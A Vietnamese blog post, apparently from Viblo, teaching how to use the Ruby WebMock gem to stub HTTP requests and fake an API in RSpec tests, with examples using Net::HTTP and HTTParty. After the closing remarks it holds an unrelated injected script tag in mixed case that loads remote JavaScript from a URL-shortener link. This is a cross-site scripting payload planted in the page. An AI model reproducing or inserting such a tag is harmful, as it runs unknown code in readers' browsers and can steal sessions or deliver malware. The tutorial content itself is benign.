0

Fake api với WebMock

Mở đầu

Xin chào, chúc cả nhà năm mới vui vẻ!!!

Thời gian gần đây mình đang code liên quan đến việc gọi API - chắc đây cũng là khái niệm khá là quen thuộc với các bạn. Mình đang sử dụng thư viện HTTParty để làm việc (bạn có thể xem cụ thể về thư viện này ở đây)

Thông thường, với kết nối internet, bạn chỉ cần sử dụng cú pháp HTTParty.get(url_address) thì hệ thống sẽ trả về cho bạn response mong muốn

Tuy nhiên, khi làm việc thì mình lại gặp phải trường hợp là cái url_address kia chưa tồn tại mà mình vẫn phải code và viết rspec test sao cho mọi thứ vẫn phải hoạt động như là nó đã tồn tại bình thường. (ohno)

Nếu vẫn chỉ dùng HTTParty đơn thuần thì hệ thống của bạn chết chắc 😄. Rất may là sau khi được anh pro Ruby người Nhật gợi ý, mình đã tìm ra một thư viện rất hay để giải quyết trường hợp này

Đó là sử dụng thư viện WebMock để tạo một api fake tại địa chỉ url_address. Và khi gọi HTTParty.get(url_address) thì sẽ trả về cho chúng ta response mong muốn mà trên thực tế thì chẳng có cái gì cả. Rất ảo diệu phải không!

Bài viết này mình sẽ cùng các bạn tìm hiểu về WebMock

web-mock-4-638.jpg


Giới thiệu

WebMock là một thư viện sử dụng để stubbingvà tạo một response trả về khi ta gửi một HTTP request trên Ruby

1. Chức năng

  • Thiết lập và xác minh những kỳ vọng trả về trên HTTP request

  • Hỗ trợ cho Test::Unit, MiniTest, RSpec

  • ...

2. Thư viện HTTP được hỗ trợ

  • HTTPClient

  • Net::HTTP và những thư viện dựa trên Net::HTTP như HTTParty, REST Client...

  • ...

Bạn có thể tìm hiểu thêm về Webmock ở đây 😄

Sử dụng

1. Cài đặt

  • Thêm gem vào Gemfile. Phiên bản mới nhất tại thời điểm viết bài này là 1.22.6

gem 'webmock'
  • Hoặc bằng dòng lệnh

gem install webmock

2. Sử dụng

Trong khi viết test thì với từng công cụ test, chúng ta lại có cách khai báo để gọi đến thư viện WebMock khác nhau

  • Test::Unit

require 'webmock/test_unit'
  • RSpec

require 'webmock/rspec'
  • MiniTest

require 'webmock/minitest'
  • Cucumber

require 'webmock/cucumber'

Hoặc nếu như bạn muốn gọi đến WebMock từ bên ngoài công cụ test, bạn hãy khai báo như sau

require 'webmock'
include WebMock::API

Sau đây mình xin trình bày một số cách sứ dụng WebMock cơ bản

  • Stubbing request chỉ dựa trên uri với response mặc định :

stub_request(:any, "www.example.com")

Net::HTTP.get("www.example.com", "/")
  • Stubbing request dựa trên method, uri, body và header :

stub_request(:post, "www.example.com").
  with(body: "abc", headers: { "Content-Length" => 3 })

uri = URI.parse("http://www.example.com/")
req = Net::HTTP::Post.new(uri.path)
req["Content-Length"] = 3

res = Net::HTTP.start(uri.host, uri.port) do |http|
  http.request(req, "abc")
end
  • Matching request header tùy chọn :

stub_request(:any, "www.example.com").
  with(headers: { "Header-Name" => "Header-Value" })

uri = URI.parse("http://www.example.com/")
req = Net::HTTP::Post.new(uri.path)
req["Header-Name"] = "Header-Value"

res = Net::HTTP.start(uri.host, uri.port) do |http|
  http.request(req, "abc")
end
  • Matching nhiều header với cùng một tên :

stub_request(:get, "www.example.com").
  with(headers: {"Accept" => ["image/jpeg", "image/png"] })

req = Net::HTTP::Get.new("/")
req["Accept"] = ["image/png"]
req.add_field("Accept", "image/jpeg")
Net::HTTP.start("www.example.com") {|http| http.request(req) }

Trên đây mình chỉ nêu một số trường hợp có thể dùng WebMock và vần còn nhiều lắm các trường hợp khác. Bạn có thể tìm hiểu thêm ở đây

Nãy đến giờ toàn chỉ thấy là lý thuyết, rất khó hiểu phải không. Sau đây mình xin trình bày một ví dụ nhỏ để các bạn có thể dễ hình dung hơn về cách sử dụng WebMock để fake api


Ví dụ

  • Mục đích của ví dụ này là mình sẽ fake api cho url www.tribeo.com - đây là địa chỉ mình bịa ra thôi chứ hoàn toàn không có thật nhé =))

  • Khi gọi đến api này với request "tribeo" thì mình mong muốn có response trả về có nội dung là "tribeo is champion"

  • Kết hợp với thư viện HTTParty

  • Làm việc trên môi trường Rspec test

Nào, hãy bắt đầu thôi nào

Đầu tiên phải thêm gem vào Gemfile và tiến hành bundle

gem 'webmock'
gem 'httparty'

Tiếp theo là mình có controller web_mock_controller như sau

class WebMockController < ApplicationController
  def index
    url = "www.tribeo.com"
    request = "tribeo"

    begin
      response = HTTParty.get(url, { query: request })

      if response.code == 200 # Nếu response trả về đúng
        flash[:success] = "Response ok"
      else # Nếu response trả về lỗi
        flash[:danger] = "Response false"
      end
    rescue Timeout::Error # Nếu gặp lỗi connection timeout
      flash[:danger] = "Connection timeout"
    end
  end
end

Mình sẽ tiến hành viết Rspec test cho 2 trường hợp trả về của response

  • response trả về là hợp lệ (response.code = 200)

  • response trả về không hợp lệ (response.code = 404, 500...)

Và mình tạo ra file Rspec cho controller trên spec/controllers/web_mock_controller.rb như sau

require 'rails_helper'
require 'webmock/rspec' # include thư viện webmock

describe WebMockController, type: :controller do
  describe "index" do
    let(:url) {"www.tribeo.com"}
    let(:request_params) {"tribeo"}
    let(:response_expected) {"tribeo is champion"}

    after(:each) {WebMock.disable_net_connect!}

    context "when correct response" do
      before do
        stub_request(:get, url).with(query: request_params)
          .to_return(
            status: 200,
            body: response_expected
          )

        get :index
      end

      it{expect(HTTParty.get(url, {query: request_params}).body).to eq(response_expected)}
      it {expect(flash[:success]).to eq("Response ok")}
    end

    context "when incorrect response" do
      before do
        stub_request(:get, url).with(query: request_params)
          .to_return(
            status: 404,
            body: response_expected
          )

        get :index
      end

      it{expect(HTTParty.get(url, {query: request_params}).body).to eq(response_expected)}
      it{expect(flash[:danger]).to eq("Response false")}
    end
  end
end

Đến đây thì mình tiến hành chạy Rspec thôi

bundle exec rspec spec/controllers/web_mock_controller.rb
....

Finished in 3.38 seconds (files took 1.84 seconds to load)
4 examples, 0 failures

Tham khảo


Trên đây mình đã trình bày những gì cơ bản nhất để làm việc với WebMock trong Ruby. Vẫn còn rất nhiều trường hợp có thể sử dụng thư viện này. Các bạn có thể tìm hiểu thêm thông tin ở các link mình đưa trong phần Tham khảo ở trên

Rất cảm ơn mọi người đã đọc bài viết! (bow)

tribeo

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí